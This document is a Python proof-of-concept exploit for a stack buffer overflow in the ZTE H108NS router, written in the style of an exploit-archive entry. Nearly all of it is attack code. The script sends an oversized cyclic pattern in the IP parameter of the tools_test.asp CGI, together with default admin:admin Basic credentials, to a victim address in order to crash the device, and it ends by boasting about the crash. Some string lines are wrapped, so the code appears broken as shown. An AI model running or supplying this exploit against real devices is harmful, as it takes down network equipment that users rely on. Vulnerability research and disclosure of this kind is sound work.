# Exploit Title: ZTE-H108NS -  Stack Buffer Overflow (DoS)
# Date: 19-11-2022
# Exploit Author: George Tsimpidas 
# Vendor: https://www.zte.com.cn/global/
# Firmware: H108NSV1.0.7u_ZRD_GR2_A68
# Usage: python zte-exploit.py <victim-ip> <port>
# CVE: N/A 
# Tested on: Debian 5.18.5

#!/usr/bin/python3


import sys
import socket
from time import sleep

host = sys.argv[1]  # Recieve IP from user
port = int(sys.argv[2])  # Recieve Port from user

junk = b"1500Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae"
* 5


buffer = b"GET /cgi-bin/tools_test.asp?testFlag=1&Test_PVC=0&pingtest_type=Yes&IP=192.168.1.1"
+ junk + b"&TestBtn=START HTTP/1.1\r\n"
buffer += b"Host: 192.168.1.1\r\n"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0)
Gecko/20100101 Firefox/91.0\r\n"
buffer += b"Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
buffer += b"Accept-Encoding: gzip, deflate\r\n"
buffer += b"Authorization: Basic YWRtaW46YWRtaW4=\r\n"
buffer += b"Connection: Keep-Alive\r\n"
buffer += b"Cookie:
SID=21caea85fe39c09297a2b6ad4f286752fe47e6c9c5f601c23b58432db13298f2;
_TESTCOOKIESUPPORT=1; SESSIONID=53483d25\r\n"
buffer += b"Upgrade-Insecure-Requests: 1\r\n\r\n"




print("[*] Sending evil payload...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(buffer)
sleep(1)
s.close()
print("[+] Crashing boom boom ~ check if target is down ;)")